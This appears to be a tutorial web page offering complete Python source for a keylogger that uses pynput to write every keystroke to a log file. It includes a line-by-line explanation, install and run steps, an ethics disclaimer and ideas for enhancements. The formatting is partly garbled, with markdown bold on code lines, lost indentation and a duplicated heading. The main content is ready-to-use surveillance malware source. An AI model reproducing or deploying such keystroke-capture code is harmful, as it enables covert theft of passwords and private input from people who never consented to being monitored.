A **Simple **keylogger**** involves capturing keystrokes and logging them to a file. Below is an example of such a program written in Python using the pynput library. This program should be used responsibly and only with proper authorization, as creating and deploying keyloggers without permission is unethical and often illegal.

### ****Code Implementation****

from pynput import keyboard

def on\_press(key):

"""

Callback function for key press events.

Logs the pressed key to a file.

"""

try:

# Attempt to write the key to the log file

with open("key\_log.txt", "a") as log\_file:

if hasattr(key, 'char') and key.char is not None: # Printable characters

log\_file.write(key.char)

elif key == keyboard.Key.space: # Handle space separately

log\_file.write(" ")

else: # Handle special keys

log\_file.write(f" [{key}] ")

except Exception as e:

print(f"Error: {e}")

def on\_release(key):

"""

Callback function for key release events.

Exits the listener if the 'ESC' key is pressed.

"""

if key == keyboard.Key.esc:

print("Exiting keylogger...")

return False

def main():

"""

Main function to start the keylogger.

Listens for keyboard events and handles them with callback functions.

"""

print("Keylogger is running. Press 'ESC' to stop.")

with keyboard.Listener(on\_press=on\_press, on\_release=on\_release) as listener:

listener.join()

if \_\_name\_\_ == "\_\_main\_\_":

main()

### ****Explanation****

#### ****1. Importing the Required Library****

**from pynput import keyboard**

* pynput.keyboard: A module for listening to keyboard events. It allows capturing key presses and releases.

#### ****2. Callback Function for Key Press Events****

**def on\_press(key):**

**"""**

**Callback function for key press events.**

**Logs the pressed key to a file.**

"""

* This function is triggered whenever a key is pressed. It logs the pressed key into a file named key\_log.txt.

##### Handling Key Types

**if hasattr(key, 'char') and key.char is not None: # Printable characters**

**log\_file.write(key.char)elif key == keyboard.Key.space: # Handle space separately**

**log\_file.write(" ")else: # Handle special keys**

**log\_file.write(f" [{key}] ")**

* **Printable Characters**: Checks if the key has a char attribute and logs it directly.
* **Space Key**: Writes a space to the log file.
* **Special Keys**: Keys like Shift, Enter, Ctrl, etc., are logged in brackets (e.g., [Shift]).

#### ****3. Callback Function for Key Release Events****

**def on\_release(key):**

**"""**

**Callback function for key release events.**

**Exits the listener if the 'ESC' key is pressed.**

**"""**

**if key == keyboard.Key.esc:**

**print("Exiting keylogger...")**

**return False**

* **Exit Condition**: If the user presses the ESC key, the function returns False, stopping the keylogger.

#### ****4. Main Function****

**def main():**

**"""**

**Main function to start the keylogger.**

**Listens for keyboard events and handles them with callback functions.**

**"""**

**print("Keylogger is running. Press 'ESC' to stop.")**

**with keyboard.Listener(on\_press=on\_press, on\_release=on\_release) as listener:**

**listener.join()**

* **Keyboard Listener**: Listens for key press and release events and calls the respective callback functions (on\_press and on\_release).
* **Listener Join**: Keeps the program running until the listener is explicitly stopped.

### ****How It Works****

1. **Run the Script**:
   * The program listens for keyboard events as soon as it starts.
2. **Log Keys**:
   * Every key pressed is recorded in a file (key\_log.txt).
   * Special keys are logged in a readable format (e.g., [Enter], [Tab]).
3. **Exit**:
   * Pressing the ESC key stops the keylogger.

### ****Keylog File****

* The file **key\_log.txt** will look like this after usage:

**hello world [Enter] this is a test [Backspace] [Backspace] test**

### ****Ethical Considerations****

* **Permission**: This script should only be run on devices with explicit consent from the owner.
* **Legal Compliance**: Unauthorized use of keyloggers violates privacy laws and is illegal in most jurisdictions.
* **Use Cases**: Examples of ethical use include:
  + Monitoring user input during software testing.
  + Academic research with proper authorization.

### ****Setup Instructions****

### ****Setup Instructions****

1. **Install Dependencies**:

pip install pynput

1. **Run the Script**:
   1. Save the code in a .py file (e.g., keylogger.py) and run it using Python.
2. **Stop the Script**:
   1. Press the ESC key to stop the keylogger.

### ****Enhancements****

* Add **encryption** to the log file to prevent unauthorized access.
* Include **timestamp** for each key press.
* Allow user-defined **start and stop keys**.